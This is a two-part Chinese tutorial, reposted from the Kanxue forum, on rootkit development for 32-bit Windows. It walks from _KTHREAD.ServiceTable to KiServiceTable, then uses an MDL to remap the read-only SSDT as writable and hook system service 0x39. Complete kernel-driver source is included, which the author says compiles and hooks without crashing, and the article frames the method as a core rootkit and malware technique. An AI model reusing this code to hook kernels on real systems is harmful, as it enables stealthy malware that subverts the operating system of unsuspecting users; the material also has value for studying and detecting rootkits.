整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

ROOTKIT 核心技术—利用 NT!_MDL突破 SSDT的只读访问限制(一)

rootkit 与恶意软件开发中有一项基本需求,那就是hook Windows内核的系统服务描述符表(下称 SSDT),把该表中的特定系统服务函数替换成我们自己实现的恶意例程;当然,为了确保系统能够正常运作,我们需要事先用一个函数指针保存原始的系统服务,并且在我们恶意例程的逻辑中调用这个函数指针,此后才能进行 hook,否则损坏的内核代码与数据结构将导致一个 BugCheck(俗称的蓝屏)。

尽管 64 位 Windows 引入了像是 PatchGuard 的技术,实时监控关键的内核数据,包括但不限于 SSDT,IDT,GDT 等等,保证其完整性,但在 32 系统上修改 SSDT 是经常会遇到的场景,所以本文还是对此做出了介绍。

OS 一般在系统初始化阶段把 SSDT 设定成只读访问,这也是为了避免驱动与其它内核组件无意间改动到它;所以我们的首要任务就是设法绕过这个只读属性。

在此之前,先复习一下与 SSDT 相关的几个数据结构,并解释定位 SSDT 的过程。

我们知道,每个线程的 _KTHREAD 结构中,偏移 0xbc 字节处是一枚叫做ServiceTable的泛型指针(亦即 PVOID 或 void*),该字段指向一个全局的数据结构,叫做KeServiceDescriptorTable,它就是 SSDT。

SSDT 中首个字段又是一枚指针,指向全局的数据结构KiServiceTable,而后者是一个数组,其内的每个成员都是一枚函数指针,持有相应的系统服务例程入口地址。

有的时候,用言语来描述内核的一些概念过于抽象和词穷,还是来看看下图吧,它很形象地展示了上述关系:

根据上图我们有了思路:首先设法获取当前运行线程的 _KTHREAD 结构,然后即可逐步定位到KiServiceTable,它就是我们最终

hook 的对象!

鉴于ServiceTable是一枚指针,持有另一枚指针KeServiceDescriptorTable的地址(亦即 “指向指针的指针”,往后我会不加以区分 “持有” 与 “指向” 术语),而 KiServiceTable 则是一个函数指针数组;

在 Rootkit 源码中,它们可以分别用三个全局变量(在驱动的入口点DriverEntry()之外声明 )表示,如下图,我使用了“自注释” 的变量名,很易于理解;而且我把星号紧接类型保留字后面,避免与 “解引” 操作混淆(所以星号是一个重载的运算符):

对于内核模式驱动程序开发人员来讲,自己实现一个例程来获取当前运行线程的 _KTHREAD 结构显然并不轻松,幸运的是,文档化的 PsGetCurrentThread()例程能够完成这一任务。

(事实上,PsGetCurrentThread()的反汇编代码恰恰说明了这很简单,如下代码,仅仅只是把fs:[00000124h]地址处的内容移动到 eax 寄存器作为返回值,而且 KeGetCurrentThread() 的逻辑与它如出一撤!)

1 kd> u PsGetCurrentThread

2

3 nt!PsGetCurrentThread:

4 83c6cd19 64a124010000 mov eax,dword ptr fs:[00000124h]

5 83c6cd1f c3 ret

6 83c6cd20 90 nop

7 83c6cd21 90 nop

8 83c6cd22 90 nop

9 83c6cd23 90 nop

10 83c6cd24 90 nop

11 nt!KeReadStateMutant:

12 83c6cd25 8bff mov edi,edi

13

14

15 kd> u KeGetCurrentThread

16

17 nt!PsGetCurrentThread:

18 83c6cd19 64a124010000 mov eax,dword ptr fs:[00000124h]

19 83c6cd1f c3 ret

20 83c6cd20 90 nop

21 83c6cd21 90 nop

22 83c6cd22 90 nop

23 83c6cd23 90 nop

24 83c6cd24 90 nop

老生常谈,fs 寄存器通常用来存放 “段选择符”,“段选择符” 用来索引 GDT 中的一个 “段描述符”,后者有一个 “段基址” 属性,也就是KPCR(Kernel Processor Control Region,内核处理器控制区域)结构(nt!_KPCR)的起始地址;

nt!_KPCR偏移 0x120 字节处是一个 nt!_KPRCB 结构,后者偏移 0x4 字节处的 “CurrentThread” 字段就是一个 _KTHREAD 结构,每次线程切换都会更新该字段,这就是 fs:[00000124h]简洁的背后隐藏的强大设计思想!

注意,PsGetCurrentThread()返回一枚指向 _ETHREAD 结构的指针(亦即 “PETHREAD”,如你所见,微软喜欢在指针这一概念上大玩 “头文字 P” 游戏),而 _ETHREAD 结构的首个字段 Tcb 就是一个 _KTHREAD 实例——这意味着,我们无需计算额外的偏移量,只要考虑那个 ServiceTable 的偏移量 0xbc 即可,如下图:

而我们需要在这枚指针上执行加法运算,移动它到 ServiceTable 字段处,所以不能声明一个 PETHREAD 变量来存储PsGetCurrentThread() 的返回值,因为 “指针加上数值 n ” 会把指针当前持有的地址加上( n * 该指针所指的数据类型大小 )个字节—— 表达式

1 PETHREAD ethread_ptr += 0xbc;

实际上把起始地址加上了0xbc * sizeof(ETHREAD)个字节,远远超出了我们的预期......怎么办呢?

好办,声明一个字节型指针来保存PsGetCurrentThread()的返回值,同时把返回值强制转型为一致的即可!如此一来,表达式

1 BYTE* byte_ptr += 0xbc;

就是把起始地址加上0xbc * sizeof(BYTE)个字节,符合我们的预期。注意,这要求我们添加相关的类型定义,如下图:

这表明 BYTE 与 无符号字符型等价(还等于微软自家的 UCHAR),大小都是单字节;DWORD 则与无符号长整型等价,大小都是四字节——我们用一个 DWORD 变量存储数组 KiServiceTable 的地址。

接下来就是通过一系列的指针转型和解引操作,定位到 KiServiceTable 的过程,再次凸显了指针在 C 编程中的地位,无论是应用程序还是内核......经过如下图的赋值运算,最终,全局变量os_ki_service_table持有了KiServiceTable的地址。

注意,除了那个偏移量的宏定义外,所有的运算都在我们的驱动入口例程 DriverEntry() 中完成,而且为了支持动态卸载,我注册了Unload() 回调,稍后你会看到 Unload() 的内部实现——大致就是卸载时取消对 KiServiceTable 的写权限映射。

为了验证定位 KiServiceTable 过程的准确性,我添加了下列打印输出语句,注意,DbgPrint() 的输出需要在被调试机器上以 DbgView.exe 查看;抑或直接输出到调试机器上的 windbg.exe/kd.exe 屏幕上:

结合上图,在调试器中进行验证—— “dd” 命令可以按双字(四字节)显示给定虚拟内存地址处的内容;“dps” 命令可以按照函数符号显示从给定内存地址开始的例程地址——它就是专为函数指针数组(例如 KiServiceTable)设计的,如下图:

现在,KiServiceTable 可以经由全局变量 os_ki_service_table 以只读形式访问,在我们 hook 它之前,需要设法更改为可写。先来看看尝试向只读的 KiServiceTable 写入时会发生什么事情,如下图所示,我通过 RtlFillMemory() 试图向 KiServiceTable 持有的第一个四字节(亦即系统服务 nt!NtAcceptConnectPort )填充 4 个 ASCII 字符 “A”:

注意,RtlFillMemory() 的第一个参数是一个指针,指向要被填充的内存块,后面二个参数分别是填充的长度与数据;由于我们的变量 os_ki_service_table 是 DWORD 型,所以我把它强制转型为匹配的指针,再作为实参传入......

重新构建驱动,放入以调试模式运行的虚拟机中加载,宿主机中发生的情况如下图所示,假设我们编译好的 rootkit 名称为UseMdlMappingSSDT.sys,图中表明出现一个致命系统错误,代码为 0x000000BE,圆括号里边是携带错误信息的四个参数,在故障排查时会用到它们。

事实上,这就是一个 BugCheck,当错误检查发生时,如果目标系统连接着宿主机上的调试器,就断入调试器,否则目标系统上将执行 KeBugCheckEx() 例程,后者会屏蔽掉所有处理器核上的中断事件,然后将显示器切换到低分辩率的 VGA 图形模式下,绘制一个蓝色背景,然后向用户显示 “检查结果” 对应的停机代码。这就是 “蓝屏” 的由来。

在此场景中,我们得到一个 0x000000BE 的停机代码,将其作为关键字串搜索 MSDN 文档,给出的描述如下图:

官方讲解的很清楚:0x000000BE(ATTEMPTED_WRITE_TO_READONLY_MEMORY)停机代码是由于驱动程序尝试向一个只读的内存段写入导致的;第一个参数是试图写入的虚拟地址,第二个参数是描述该虚拟地址所在虚拟页-物理页的 PTE(页表项)内容;后面两个参数为保留未来扩展使用,所以被我截断了。

结合前面一张图我们知道,尝试写入的虚拟地址为 0x83CAFF7C,描述映射它的物理页的 PTE 内容是 0x03CAF121,后面两个参数就目前而言可以忽略。

如下图所示,0x83CAFF7C就是KiServiceTable的起始地址;描述它的 PTE 经解码后的标志部分有一个 “R” 属性,表示只读;BugCheck 时刻的栈回溯信息显示,内核中通用的异常处理程序MmAccessFault()负责处理与内存访问相关的错误,它是一个前端解析例程。

如果异常或错误能够处理,它就分发至实际的处理函数,否则,它调用KeBugCheck*()系列函数,该家族函数会根据调试器的存在与否作出决定——要么调用KiBugCheckDebugBreak() 断入调试器;要么执行如前文所述的操作流程来绘制蓝屏:

至此确定了BugCheck是由于在驱动中调用RtlFillMemory()写入只读的内核内存引发的。另一个更强大的调试器扩展命令 “!analyze -v” 可以输出详细的信息,包括BugCheck “现场” 的指令地址和寄存器状态、

如下图所示,导致BugCheck的指令地址为0x9ff990b4,该指令把 eax 寄存器的当前值(0x41414141,亦即我们调用RtlFillMemory()传入的 4 个 ASCII 字符 “A”)写入 ecx 寄存器持有的内存地址处,试图把nt!NtAcceptConnectPort()的入口点地址替换成 0x41414141;另外它会给出驱动源码中对应的行号——也就是第 137 行的RtlFillMemory() 调用:

如你所见,微软 C/C++ 编译器(cl.exe)把RtlFillMemory()内联在它的调用者内部,换言之,尽管有公开的文档描述它的返回值,参数......具体的实现还是由编译器说了算——为了性能优化,RtlFillMemory()直接实现为一条简洁的数据移动指令,相关的参数由寄存器传递,没有因函数调用创建与销毁栈帧带来的额外开销!

到目前为止,尽管我们通过一系列步骤从_KTHREAD定位到了系统服务指针表,但以常规手段却无法 hook 其中的系统服务函数,因为它是只读的。下一篇文章我将讨论如何使用 MDL(Memory Descriptor List,内存描述符链表)来绕过这种限制,随心所欲地读写KiServiceTable!

本文由看雪论坛 shayi 原创转载请注明来自看雪社区

换高清大图

第一部分回顾,ROOTKIT 核心技术——利用 NT!_MDL(内存描述符链表)突破 SSDT(系统服务描述符表)的只读访问限制(一)

本篇开始进入正题,因为涉及 MDL,所以相关的背景知识是必须的:

nt!_MDL 代表一个 “内存描述符链表” 结构,它描述着用户或内核模式虚拟内存(亦即缓冲区),其对应的那些物理页被锁定住,无法换出。

因为一个虚拟的,地址上连续的用户或内核缓冲区可能映射到多个不连续的物理页,所以 nt!_MDL 定长(0x1c 字节)的头部后紧跟数量可变的页框号(Page Frame Numbers),MDL 描述的每个物理页面都有一个页框号,于是这些页框号引用的物理地址范围就对应了一片特定的用户或内核模式缓冲区。

通常虚拟和物理页的大小为 4 KB,KiServiceTable 中的系统服务数量为 401 个,每函数的入口点占用 4 字节,整张调用表大小为 1.6 KB,通过 MDL 仅需要一张物理页即可描述这个缓冲区;在这种情况下,该 MDL 后只有一个页框号。

尽管 nt!_MDL 是半透明的结构,不过在内核调试器以及 WRK 源码面前还是被脱的一丝不挂,如下图为 WRK 源码的 “ntosdef.h” 头文件中的定义,如你所见,称为 “链表” 乃因它的首个字段 “Next” 是一枚指针,指向后一个 nt!_MDL 结构。

对于我们 hook KiServiceTable 的场景而言,无需用到 Next 字段;那什么情况下会用到呢?

Windows 中某些类型的驱动程序,例如网络栈,它们支持 MDL 链,其内的多个 MDL 描述的那些缓冲区实际上是零散的,假设栈中每个驱动都分配一个 MDL,其后跟着一些物理页框号来描述它们各自用到的虚拟缓冲区,那么这些缓冲区就通过每个 _MDL 的 Next 字段(指向下一个 MDL)链接起来。

下面简述 MDL 结构中,各字段的含义及用武之地!

上图还包含了 MdlFlags 字段的所有标志宏定义,这个 2 字节的字段可以是任意宏的组合,用于说明 MDL 的一些状态与属性。

● 对于描述用户模式缓冲区的 MDL,其内的 Process 字段指向所属进程的 EPROCESS 结构,进程中的这块虚拟地址空间被 MDL 锁住。

● 如果由 MDL 描述的缓冲区映射到内核虚拟地址空间中,_MDL 的 MappedSystemVa 字段指向内核模式缓冲区的基地址。

● 仅当 _MDL 的 MdlFlags 字段内设置了 MDL_MAPPED_TO_SYSTEM_VA 或MDL_SOURCE_IS_NONPAGED_POOL 比特位,MappedSystemVa 字段才有效。

● _MDL 的Size字段含有 MDL 头部加上其后的整个 PFN 数组总大小。

● MDL 的 StartVa 字段和 ByteOffset 字段共同定义了由该 MDL 锁定的原始缓冲区的起始地址。

(原始缓冲区可能会映射到其它内核缓冲区或用户缓冲区)

● StartVa 指向虚拟页的起始地址,ByteOffset 包含实际从 StartVa 开始的缓冲区偏移量;

● MDL 的 ByteCount 字段描述由该 MDL 锁定的缓冲区大小(以字节为单位);

● 对于我们要 hook 的 KiServiceTable 而言, KiServiceTable 这片内核缓冲区所在的虚拟页起点由 StartVa 字段携带;

● ByteOffset 字段则携带 KiServiceTable 的页内偏移量,ByteCount 字段携带 KiServiceTable 这片内核缓冲区的大小。

如果你现在看得云里雾里,不用担心,后面我们在调试时会把描述 KiServiceTable 的一个 nt!_MDL 结构实例拿出来分析,到时候你就会恍然大悟这些字段的设计思想了。

通过编程方式使用 MDL 绕过 KiServiceTable 的只读属性,需要借助 Windows 执行体组件中的 I/O 管理器以及内存管理器导出的一些函数,大致流程如下:

IoAllocateMdl() 分配一个 MDL 来描述 KiServiceTable -> MmProbeAndLockPages() 把该 MDL 描述的 KiServiceTable 所属物理页锁定在内存中,并赋予对这张页面的读写访问权限(实际是将描述该页面的 PTE 内容中的 “R” 标志位修改成 “W”)-> MmGetSystemAddressForMdlSafe() 将 KiServiceTable 映射到另一片内核虚拟地址区域(一般而言,位于 rootkit 被加载到的内核地址范围内)。

如此一来,KiServiceTable 的原始虚拟地址与新映射的虚拟地址都转译到相同的物理地址,而且描述新虚拟地址的 PTE 内容标记了写权限比特位,这样我们就能够通过修改这个新的虚拟地址中的系统服务例程实现安全挂钩 KiServiceTable,不会导致 BugCheck。

如下所示,我把上述涉及的所有操作都封装到一个自定义的函数 MapMdl() 里面。由于整个逻辑比较长,截图分为多张说明:

MapMdl() 在我们的 rootkit 入口点——DriverEntry() 中被调用,而在 DriverEntry() 外部声明几个与 MDL 相关的全局变量,它们被 MapMdl() 与 DriverEntry() 共享。

注意,os_ki_service_table 存储着 KiServiceTable 的地址(参见前一篇定位 KiServiceTable 的代码),把它从 DWORD 转换为泛型指针是为了符合 MapMdl() 中的 IoAllocateMdl() 调用时的形参要求;

最后一个参数——表达式0x191 * 4——就是整个 KiServiceTable 缓冲区的大小:假若 MapMdl() 成功返回,则全局变量 mapped_ki_service_table 持有 KiServiceTable 新映射到的内核虚拟地址;这些全局变量都是 “自注释” 的,pfn_array_follow_mdl 持有的地址处内容就是 MDL 描述的物理页框号:

MapMdl() 第一部分逻辑如下图所示,局部变量 mapped_addr 预期存放 KiServiceTable新映射到的内核虚拟地址,并作为

MapMdl() 的返回值给 DriverEntry(),进一步初始化全局变量 mapped_ki_service_table。

注意,PVOID 可以赋给其它任意类型的指针,这是合法的。

IoAllocateMdl() 返回一枚指针,指向分配好的 MDL,该 MDL 描述 KiServiceTable 的物理内存布局;这枚指针被用来初始化

作为实参传入的全局变量 mdl_ptr(mdl_pointer 是形参)。

我添加的第一个软件断点就是为了研究 IoAllocateMdl() 分配的 MDL 其中 MappedSystemVa,StartVa,以及 MdlFlags 这些字段的内容——事实上,这些字段值会在 IoAllocateMdl() -> MmProbeAndLockPages() ->MmGetSystemAddressForMdlSafe() 调用链的每一阶段发生变化,所以我总共添加了三个断点在相关的检查区域,有助于我们在后面的调试过程中深入理解 nt!_MDL的设计思想。

我把使用 Windows 执行体组件例程进行的操作放入一个 try-except 块内,以便处理可能出现的异常,except 块内的逻辑如下图,当违法访问出现时,调用 IoFreeMdl() 释放我们的 MDL 指针,然后 MapMdl() 返回 NULL,从而导致 DriverEntry() 打印出错信息。

关于 IoAllocateMdl() 的第二个参数,我们有必要进一步了解,所以我翻译了 MSDN 文档上的相关片段,如下:

IoAllocateMdl() 的第二个参数指定要通过分配的 MDL 描述的缓冲区的大小。如果这个长度小于 4KB,那么映射它的 MDL 就只描述了一个被锁定的物理页面;

如果长度是 4KB 的整数倍,那么映射它的 MDL 就描述了相应数量的物理页面(通过紧接 MDL 后面的 PFN 数组)

对于 Windows Server 2003,Windows XP,以及 Windows 2000,此例程支持的最大缓冲区长度(以字节为单位)是:

PAGE_SIZE * (65535 - sizeof(MDL)) / sizeof(ULONG_PTR) (约 67 MB)

对于 Windows Vista 和 Windows Server 2008,能够传入的最大缓冲区大小为:

(2 gigabytes - PAGE_SIZE)

对于 Windows 7 和 Windows Server 2008 R2,能够传入的最大缓冲区大小为:

(4 gigabytes - PAGE_SIZE)

执行此例程的 IRQL 要求为 <= DISPATCH_LEVEL

MapMdl() 第二部分逻辑如下图所示,它紧跟在第一个软件断点之后。我们检查 MDL 中的 MDL_ALLOCATED_FIXED_SIZE 标志是否置位,该标志因调用 IoAllocateMdl() 传入第二个参数指示固定大小而置位;

MmProbeAndLockPages() 的第三个参数是实现写访问的关键所在,能否锁定内存倒是其次,因为像 KiServiceTable 这种系统范围的调用表,地位非常重要,如果被换出物理内存,系统岂不就崩溃了,所以坦白讲我们只是因为需要写权限才调用它的。

第二个断点紧跟其后,这样就可以在调试器中检查MmProbeAndLockPages() 是如何修改 MDL 中的标志;也可以使用编程手段检查,如图中的第二个 if 块逻辑,事实上MmProbeAndLockPages() 调用会向 MdlFlags 字段内添加 MDL_WRITE_OPERATION

与 MDL_PAGES_LOCKED 标志,这就是我们想要的结果!

最后我们调用 MmGetSystemAddressForMdlSafe() 把该 MDL 描述的原始虚拟地址映射到内核空间的另一处,新地址通常位于驱动加载到的内核空间某处;局部变量 mapped_addr 持有这个新地址,最终用来返回并初始化全局变量 mapped_ki_service_table。

同理我们可以检查 MmGetSystemAddressForMdlSafe() 修改了哪些 MDL 结构成员,对于理解 MDL 的工作机理非常关键。

MapMdl() 第三部分逻辑如下图所示,我们检查 MmGetSystemAddressForMdlSafe() 是否多添加了一个

MDL_MAPPED_TO_SYSTEM_VA 标志,然后以 DBG_TRACE 宏打印信息。

全局变量 backup_mdl_ptr 是我们在调用 IoAllocateMdl() 就做好备份的 MDL 指针,它与 mdl_ptr 指向同一个 nt!_MDL 结构。

接下来的逻辑有助于你理解 MDL 头部后面的 PFN 数组:mdl_ptr 指向 nt!_MDL 结构头部,把它加上 1 ,意味着把它持有的内存地址加上 1 * sizeof(MDL) 个字节,于是就定位到了 MDL 头部后面的 PFN 数组起始地址——现在全局变量

pfn_array_follow_mdl(一枚 PPFN_NUMBER 型指针)持有这个地址;正如图中倒数第三条 DbgPrint() 调用所言——

MDL 结构后偏移 xx (0x1b)地址处是一个 PFN 数组,用来存储该 MDL 描述的虚拟缓冲区映射到的物理页框号。

最后一条 DbgPrint() 调用通过解引 pfn_array_follow_mdl 来输出该地址处存放的物理页框号。

在 return mapped_addr; 语句的后面,则是 try-except 块的异常捕获逻辑,请参前面截图。

现在,程序访问可读写的 mapped_ki_service_table 与只读的os_ki_service_table 都转译到同一块物理内存,后者就是实际上存储 KiServiceTable 的地方。

接下来,我们用一枚函数指针保存 KiServiceTable 中某个原始的系统服务,然后用我们的钩子例程地址替换掉该位置处的原始系统服务,而钩子例程内部仅仅是调用原始系统服务,实现安全转发。

为了演示简单起见,我选取 KiServiceTable 中 0x39(57)号例程,因为它的参数只有一个,方便我们的钩子例程仿效同样的参数声明——内核系统服务调度器(nt!KiFastCallEntry())并不知道它调用的目标系统服务已经被替换成我们的钩子例程,所以他会以既定方式使用钩子例程的返回值和输出参数。在这种情况下,只要我们的钩子例程原型声明与被挂钩系统服务有细微差别,都可能导致非预期的内核错误而蓝屏,显然,那些参数既多又复杂的系统服务不适合我用来演示。

此外,某些系统服务接收的参数类型的定义不在 wdm.h / ntddk.h 头文件内,讲明了这些数据类型不是给驱动开发人员使用的,仅供内核组件使用,为了引入包含该定义的头文件则会碰到复杂的头文件嵌套包含问题,其麻烦程度丝毫不逊于 Linux 平台上的 “二进制软件包依赖性地狱” 。

57 号系统服务例程亦即 nt!NtCompleteConnectPort(),有且仅有一个文档化的参数,WRK 源码中的相关定义如下图:

所以我们的钩子例程只要完全仿效它的返回值类型与形参类型即可,然后在内部调用指向原始例程的函数指针实施重定向。

通过 typedef 定义一个函数指针,其返回值类型与形参类型与NtCompleteConnectPort() 一致,然后声明一个该函数指针实例。相关代码如下图:

全局变量 ori_sys_service_ptr 持有 NtCompleteConnectPort() 的入口点地址,前者是在我们的 rootkit 入口点 DriverEntry() 中初始化的;保存这枚指针后就可以用钩子例程替换NtCompleteConnectPort(),如下图所示:

需要指出一点,尽管把指针名称 mapped_ki_service_table 当作数组名称来访问 KiServiceTable是被 C 语言核心规范允许的,但是上图那段代码在编译器会产生警告,如下:

1>warnings in directory d:\kmdsource_use_mdl_mapping_ssdt

1>d:\kmdsource_use_mdl_mapping_ssdt\usemdlmappingssdt.c(155) : warning C4047: '=' : 'OriginalSystemServicePtr' differs in levels of indirection from 'DWORD'

1>d:\kmdsource_use_mdl_mapping_ssdt\usemdlmappingssdt.c(157) : warning C4047: '=' : 'DWORD' differs in levels of indirection from 'NTSTATUS (__stdcall *)(HANDLE)'

ori_sys_service_ptr 是一枚 OriginalSystemServicePtr 型函数指针( NTSTATUS (__stdcall *)(HANDLE) ),而 mapped_ki_service_table 是普通指针,它的数组名称表示法结合数组下标,实际上被视为一个存储对应元素的 DWORD 变量,两者的间接寻址级别不同。

就目前而言我们可以无视这两条警告,因为含有这段代码的 rootkit 源码在编译后确实能够安全地 hook 目标系统服务函数,系统正常运作不会有问题,类似的警告可以通过指定警告级别的编译选项来过滤掉。

讲到这里你一定会嫌我既罗嗦又婆婆妈妈的,那么来看下面这一张简明扼要的全局概览,它解释了 MDL 是如何把一片缓冲区映射到另一处,并描述两者相同的物理布局,注意,图中的组织结构是执行完 MmGetSystemAddressForMdlSafe() 后才会产生的。

注意,上图中我没有给出 PFN 数组中第一个成员携带的具体 20 位物理页框号,原始和映射到的新内核缓冲区,以及实际 RAM中的物理页框号,而“byte within page”就是页内特定偏移处开始的字节序列,亦即系统服务例程入口点的实际物理地址!

这些 “占位符” 我会在第三部分的调试单元内给出,毕竟,驱动开发与调试是相辅相成的,只有理论没有实践怎么行,只有源码没有调试怎知真理,不然,任何人对于内存的需求就真的不会超过 640 K 了.......

最后贴上整个源码,方便各位编译后调试:

#include

#include "datatype.h"

#include "dbgmsg.h"

#define ETHREAD_OFFSET_SERVICE_TABLE 0xbc

PMDL mdl_ptr;

PMDL backup_mdl_ptr;

PPFN_NUMBER pfn_array_follow_mdl;

short mdl_header_length = sizeof(MDL);

DWORD* mapped_ki_service_table;

void** os_SSDT_ptr;

DWORD* os_SSDT;

DWORD os_ki_service_table;

typedef NTSTATUS(*OriginalSystemServicePtr)

(

HANDLE PortHandle

);

OriginalSystemServicePtr ori_sys_service_ptr;

NTSTATUS our_hooking_routine(HANDLE PortHandle)

{

return (ori_sys_service_ptr(PortHandle));

}

PVOID MapMdl(PMDL mdl_pointer, PVOID VirtualAddress, ULONG Length);

void UnMapMdl(PMDL mdl_pointer, PVOID baseaddr);//动态卸载后,dps 转储 mapped_ki_service_table 变量的输出应该不是系统服务例程了 VOID Unload(PDRIVER_OBJECT driver)

{

DBG_TRACE("OnUnload", "卸载前首先取消 MDL 对 KiServiceTable 的映射");

UnMapMdl(mdl_ptr, mapped_ki_service_table);

DBG_TRACE("OnUnload", "UseMdlMappingSSDT.sys 已卸载");

return;

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)

{

BYTE* currentETHREADpointer = NULL;

driver->DriverUnload = Unload;

currentETHREADpointer = (UCHAR*)PsGetCurrentThread();

os_SSDT_ptr = (void**)(currentETHREADpointer + ETHREAD_OFFSET_SERVICE_TABLE);

os_SSDT = *(DWORD**)os_SSDT_ptr;

os_ki_service_table = *(DWORD*)os_SSDT;

mapped_ki_service_table = MapMdl(mdl_ptr, (PVOID)os_ki_service_table, 0x191 * 4);

if (mapped_ki_service_table == NULL) {

DBG_TRACE("Driver Entry", ".........无法分配 MDL 来描述 OS 的 SSDT,并把它映射到另一个内核地址对其挂钩 和修改.......");

}

DbgPrint("我们把原始的 OS 系统服务指针表以写权限映射到的新内核空间为: %p\r\n", mapped_ki_service_table);

DbgPrint("解引这个新内核地址,应该就是表中的第一个系统服务的地址,或者用调试器命令 !dps 检查两者是否为同一张调用表: %p\r\n", *mapped_ki_service_table);

//0x39 号系统服务为 nt!NtCompleteConnectPort() ,因为它只有一个参数,而且是文档化的,所以较易 hook 并重定向 ori_sys_service_ptr = mapped_ki_service_table[0x39];

mapped_ki_service_table[0x39] = our_hooking_routine;

DbgPrint("我们把 0x39 号系统服务挂钩为: %p\r\n", mapped_ki_service_table[0x39]);

return STATUS_SUCCESS;

}

PVOID MapMdl(PMDL mdl_pointer, PVOID VirtualAddress, ULONG Length)

{

PVOID mapped_addr;

DbgPrint(" _KTHREAD.ServiceTable 自身的地址: %p\r\n", &os_SSDT_ptr);

DbgPrint(" ServiceTable 指向: %p\r\n", os_SSDT_ptr);

DbgPrint(" ServiceTable 所指处的内容: %p\r\n", *os_SSDT_ptr);

DbgPrint(" SSDT,亦即 nt!KeServiceDescriptorTable 地址,与 ServiceTable 所指处内容一致: %p\r\n", os_SSDT);

DbgPrint(" nt!KeServiceDescriptorTable 所指处的内容: %X\r\n", *os_SSDT);

DbgPrint(" KiServiceTable 地址,与上面一致: %X\r\n", os_ki_service_table);

DBG_TRACE("MapMdl", ".......表中的系统服务地址可以通过 dps 转储 os_ki_service_table 查看!..........r\n");

try {

mdl_pointer = IoAllocateMdl(VirtualAddress, 0x191 * 4, FALSE, FALSE, NULL);

if (mdl_pointer == NULL) {

DBG_TRACE("MapMdl", ".........无法分配一个 MDL 来描述原始的 KiServiceTable !..........\r\n");

return NULL;

}

DbgPrint("分配的 MDL 指针自身的地址: %p ,可用 dd 转储它持有的地址\r\n", &mdl_pointer);

DbgPrint("分配的 MDL 指针指向一个 _MDL 的地址: %p,与 dd %p 的输出一致,它用来描述原始的 KiServiceTable\r\n", mdl_pointer, &mdl_pointer);

backup_mdl_ptr = mdl_pointer;

// 这里设置的两个断点是为了观察调用前后的 _MDL.MdlFlags 如何变化 __asm {

int 3;

}

if (mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE)

{

DBG_TRACE("MapMdl", ".....IoAllocateMdl() 分配的 MDL 结构有固定大小(MDL_ALLOCATED_FIXED_SIZE)........\r\n");

}

MmProbeAndLockPages(mdl_pointer, KernelMode, IoWriteAccess);

__asm {

int 3;

}

if ((mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE) &&

(mdl_pointer->MdlFlags & MDL_WRITE_OPERATION) &&

(mdl_pointer->MdlFlags & MDL_PAGES_LOCKED))

{

DBG_TRACE("MapMdl", " MmProbeAndLockPages() 以写权限(MDL_WRITE_OPERATION)把 MDL 描述的原始 KiServiceTable 所在页面锁定到物理内存中(MDL_PAGES_LOCKED)\r\n");

}

mapped_addr = MmGetSystemAddressForMdlSafe(mdl_pointer, NormalPagePriority);

// 此处顺便观察 _MDL.MdlFlags 的变化 __asm {

int 3;

}

if (

(mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE) &&

(mdl_pointer->MdlFlags & MDL_WRITE_OPERATION) &&

(mdl_pointer->MdlFlags & MDL_PAGES_LOCKED) &&

(mdl_pointer->MdlFlags & MDL_MAPPED_TO_SYSTEM_VA)

)

{

DBG_TRACE("MapMdl", " MmGetSystemAddressForMdlSafe() 把 MDL 结构描述的原始 KiServiceTable 映射到另一个内核虚拟地址(MDL_MAPPED_TO_SYSTEM_VA)\r\n");

}

DbgPrint("MmGetSystemAddressForMdlSafe() 调用依然可以通过原始的 MDL 指针访问 _MDL 的地址: %p\r\n", mdl_pointer);

DbgPrint("也可以通过备份的 MDL 指针访问 _MDL 的地址: %p,这都说明 MDL 结构尚未被释放,\r\n", backup_mdl_ptr);

pfn_array_follow_mdl = (PPFN_NUMBER)(mdl_pointer + 1);

DbgPrint(" MDL 结构后偏移 %2x 地址处是一个 PFN 数组,用来存储该 MDL 描述的虚拟缓冲区映射到的物理页框号\r\n", mdl_header_length);

DbgPrint(" 该 PFN 数组的起始地址为:%p\r\n", pfn_array_follow_mdl);

DbgPrint(" 第一个物理页框号为:%p\r\n", *pfn_array_follow_mdl);

return mapped_addr;

}

except (STATUS_ACCESS_VIOLATION) {

IoFreeMdl(mdl_pointer);

return NULL;

}

}

void UnMapMdl(PMDL mdl_pointer, PVOID baseaddr)

{

if (mdl_pointer != backup_mdl_ptr) {

DBG_TRACE("UnMapMdl", ".......先解锁备份 MDL 映射的页面,然后释放备份的 MDL........");

MmUnlockPages(backup_mdl_ptr); // 此例程的效果是,无法通过映射的系统地址来访问 KiServiceTable,且 _MDL 结构中各字段已发生变化, IoFreeMdl(backup_mdl_ptr); // 此例程的效果是,MDL 指针不再持有 _MDL 结构的地址 if (backup_mdl_ptr == NULL) {

DBG_TRACE("UnMapMdl", ".............解锁页面,释放备份 MDL 完成!................");

}

return;

}

DBG_TRACE("UnMapMdl", ".........原始 MDL 未被修改,解锁它映射的页面后释放它...........");

// 如果前面使用 MmBuildMdlForNonPagedPool() ,就不能执行下面前2个操作 //MmUnmapLockedPages(baseaddr, mdl); MmUnlockPages(mdl_pointer);

IoFreeMdl(mdl_pointer);

if (mdl_pointer == NULL) {

DBG_TRACE("UnMapMdl", ".............解锁页面,释放原始 MDL 完成!................");

}

return;

}

头文件 dbgmsg.h 内容如下,它仅仅是在预处理阶段替换为 DbgPrint() 的一些可变参数罢了,没啥黑科技可言:

#ifdef LOG_OFF

#define DBG_TRACE(src,msg)

#define DBG_PRINT1(arg1)

#define DBG_PRINT2(fmt,arg1)

#define DBG_PRINT3(fmt,arg1,arg2)

#define DBG_PRINT4(fmt,arg1,arg2,arg3)

#else

#define DBG_TRACE(src,msg) DbgPrint("[%s]:%s\n",src,msg)

#define DBG_PRINT1(arg1) DbgPrint("%s",arg1)

#define DBG_PRINT2(fmt,arg1) DbgPrint(fmt,arg1)

#define DBG_PRINT3(fmt,arg1,arg2) DbgPrint(fmt,arg1,arg2)

#define DBG_PRINT4(fmt,arg1,arg2,arg3) DbgPrint(fmt,arg1,arg2,arg3)

另一个包含文件 datatype.h 的所有内容, 请参考第一部分:就是那张 DWORD、WORD、BYTE 类型定义的截图。

原文链接:请访问看雪论坛

本文由看雪论坛 shayi 原创

